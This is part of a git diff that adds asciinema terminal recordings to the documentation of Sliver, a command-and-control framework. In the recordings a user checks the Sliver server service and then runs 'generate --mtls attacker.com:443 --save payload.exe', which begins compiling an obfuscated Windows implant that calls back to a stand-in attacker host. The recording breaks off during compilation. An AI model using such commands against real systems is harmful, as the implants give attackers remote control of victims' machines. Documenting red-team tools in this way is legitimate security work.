+[3.763246, "o", "a"]
+[3.923354, "o", "t"]
+[3.944407, "o", "u"]
+[4.055406, "o", "s"]
+[4.168779, "o", " "]
+[4.353452, "o", "\u001b[1ms\u001b[0m"]
+[4.571669, "o", "\b\u001b[1ms\u001b[1ml\u001b[0m"]
+[4.582569, "o", "\b\b\u001b[0ms\u001b[0mli"]
+[4.625017, "o", "v"]
+[4.77009, "o", "e"]
+[4.848588, "o", "r"]
+[5.619327, "o", "\u001b[?1l\u001b>"]
+[5.623929, "o", "\u001b[?2004l\r\r\n"]
+[5.636017, "o", "\u001b[?1h\u001b=\r"]
+[5.639311, "o", "\u001b[0;1;32m●\u001b[0m sliver.service - Sliver\u001b[m\r\n Loaded: loaded (\u001b]8;;file://kali/etc/systemd/system/sliver.service\u0007/etc/systemd/system/sliver.service\u001b]8;;\u0007; \u001b[0;1;38;5;185mdisabled\u001b[0m; preset: \u001b[0;1;38;5;185mdisabled\u001b[0m)\u001b[m\r\n Active: \u001b[0;1;32mactive (running)\u001b[0m since Sun 2023-12-17 16:02:25 UTC; 4min 33s ago\u001b[m\r\n Main PID: 4942 (sliver-server)\u001b[m\r\n Tasks: 9 (limit: 4624)\u001b[m\r\n Memory: 20.2M\u001b[m\r\n CPU: 152ms\u001b[m\r\n CGroup: /system.slice/sliver.service\u001b[m\r\n └─\u001b[0;38;5;245m4942 /root/sliver-server daemon\u001b[0m\u001b[m\r\n\u001b[m\r\nDec 17 16:02:25 kali systemd[1]: Started Sliver.\u001b[m\r\n"]
+[5.639877, "o", "\r\u001b[K\u001b[?1l\u001b>"]
+[15.640687, "o", " \r\r"]
+
diff --git a/docs/sliver-docs/public/asciinema/sliver-generate-1.cast b/docs/sliver-docs/public/asciinema/sliver-generate-1.cast
new file mode 100644
index 0000000000..f922a44593
--- /dev/null
+++ b/docs/sliver-docs/public/asciinema/sliver-generate-1.cast
@@ -0,0 +1,905 @@
+{"version": 2, "width": 137, "height": 38, "timestamp": 1702834090, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
+[0.084636, "o", " \r\r"]
+[0.137311, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
+[0.137854, "o", "\u001b[?1h\u001b="]
+[0.138805, "o", "\u001b[?2004h"]
+[1.126586, "o", "\u001b[1ms\u001b[0m"]
+[1.127617, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
+[1.233311, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"]
+[1.341486, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m"]
+[1.645373, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b"]
+[1.651818, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m\u001b[39m \u001b[39m \b\b"]
+[1.652699, "o", "\u001b[38;2;153;153;153mr\u001b[39m\b"]
+[1.724472, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"]
+[2.169426, "o", "\u001b[?1l\u001b>"]
+[2.172204, "o", "\u001b[?2004l\r\r\n"]
+[2.23265, "o", "Connecting to localhost:31337 ...\r\n"]
+[2.281037, "o", "\u001b[m"]
+[2.283301, "o", "\u001b[32m\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\n\u001b[0m\r\nAll hackers gain epic\r\n"]
+[2.283811, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
+[2.28395, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
+[2.837538, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"]
+[3.251842, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"]
+[3.392601, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"]
+[3.623616, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"]
+[3.741996, "o", "\u001b[J\u001b[2K\r"]
+[3.742093, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"]
+[3.83311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "]
+[4.377508, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate -"]
+[4.529721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --"]
+[4.78866, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --m"]
+[4.941, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mt"]
+[5.111754, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtl"]
+[5.516698, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls"]
+[5.734855, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls "]
+[6.152158, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls a"]
+[6.361633, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls at"]
+[6.522567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls att"]
+[6.664864, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls atta"]
+[6.776953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attac"]
+[7.109455, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attack"]
+[7.414159, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker"]
+[7.645484, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker."]
+[7.803638, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.c"]
+[7.935967, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.co"]
+[8.067311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com"]
+[8.852734, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:"]
+[9.168342, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:4"]
+[9.509949, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:44"]
+[9.570568, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443"]
+[9.902052, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 "]
+[10.820721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 -"]
+[11.289457, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --s"]
+[11.428343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sa"]
+[11.800929, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sav"]
+[11.99739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save "]
+[13.047743, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save p"]
+[13.076903, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pa"]
+[13.180503, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pay"]
+[13.371461, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payl"]
+[13.541123, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save paylo"]
+[13.701165, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payloa"]
+[13.891736, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload"]
+[14.228103, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload."]
+[14.278758, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.e"]
+[14.505456, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.ex"]
+[14.748707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe"]
+[14.995965, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\r\n"]
+[14.996554, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 implant binary\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"]
+[15.09658, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[15.196943, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[15.297363, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[15.397811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[15.498252, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[15.598621, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[15.698978, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[15.799391, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[15.899706, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[16.000093, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[16.100436, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[16.200834, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[16.301236, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[16.402302, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[16.502202, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[16.602606, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[16.703545, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[16.803923, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[16.904345, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[17.004804, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[17.107086, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[17.207448, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[17.30791, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[17.409979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[17.510282, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[17.610686, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[17.711194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[17.81158, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[17.91203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[18.012607, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[18.113031, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[18.213472, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[18.313829, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[18.414224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[18.514641, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[18.615006, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[18.715383, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[18.815764, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[18.916181, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[19.01654, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[19.116966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[19.217444, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[19.317961, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[19.418386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[19.518879, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[19.619285, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[19.719688, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[19.820085, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[19.920517, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[20.020952, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[20.121332, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[20.221723, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[20.322053, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[20.422471, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[20.522794, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[20.623194, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[20.723532, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[20.824103, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[20.924528, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[21.024932, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[21.125328, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[21.225707, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[21.326098, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[21.426502, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[21.526905, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[21.62734, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[21.727834, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[21.828239, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[21.928617, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[22.029032, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[22.129448, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[22.229866, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[22.330268, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[22.430544, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[22.531002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[22.631396, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[22.731835, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[22.83223, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[22.932662, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[23.033073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[23.13349, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[23.233919, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[23.334332, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[23.434734, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[23.53517, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[23.635537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[23.735983, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[23.83638, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[23.936783, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[24.037207, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[24.137625, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[24.23802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[24.338431, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[24.438844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[24.539315, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[24.639859, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[24.740283, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[24.840563, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[24.940951, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[25.041341, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[25.141754, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[25.242166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[25.342538, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[25.442828, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[25.543274, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[25.643646, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[25.744048, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[25.844474, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[25.944862, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[26.04527, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[26.145669, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[26.246022, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[26.346427, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[26.446809, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[26.547437, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[26.647862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[26.748265, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[26.848674, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[26.949112, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[27.049475, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[27.149909, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[27.250325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[27.350729, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[27.451181, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[27.551524, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[27.651964, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[27.752368, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[27.852712, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[27.953117, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[28.053487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[28.153895, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[28.254303, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[28.354715, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[28.455174, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[28.55554, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[28.655917, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[28.756324, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[28.856721, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[28.957117, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[29.057518, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[29.157906, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[29.258323, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[29.358717, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[29.459162, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[29.559542, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[29.659969, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[29.760376, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[29.86079, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[29.961203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[30.061614, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[30.162019, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[30.262452, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[30.362853, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[30.46329, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[30.563723, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[30.664103, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[30.764499, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[30.864915, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[30.96533, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[31.06574, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[31.166147, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[31.266538, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[31.366946, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[31.467353, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[31.567944, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[31.668315, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[31.768691, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[31.869066, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[31.969645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[32.070051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[32.170449, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[32.270833, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[32.372544, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[32.472682, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[32.573099, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[32.673483, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[32.773934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[32.874324, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[32.974716, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[33.075158, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[33.175511, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[33.275897, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[33.376301, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[33.476709, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[33.577097, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[33.677502, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[33.777879, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[33.878273, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[33.978686, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[34.079087, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[34.179484, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[34.279882, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[34.380285, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[34.480707, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[34.581175, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[34.681719, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[34.782143, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[34.88255, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[34.982957, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[35.083382, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[35.183815, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[35.284217, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[35.384615, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[35.485015, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[35.585432, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[35.685846, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[35.786276, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[35.886653, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[35.987056, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[36.087455, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[36.187854, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[36.288268, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[36.388651, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[36.489017, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[36.58937, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[36.689809, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[36.790236, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[36.890643, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[36.991048, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[37.091435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[37.191873, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[37.292274, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[37.392668, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
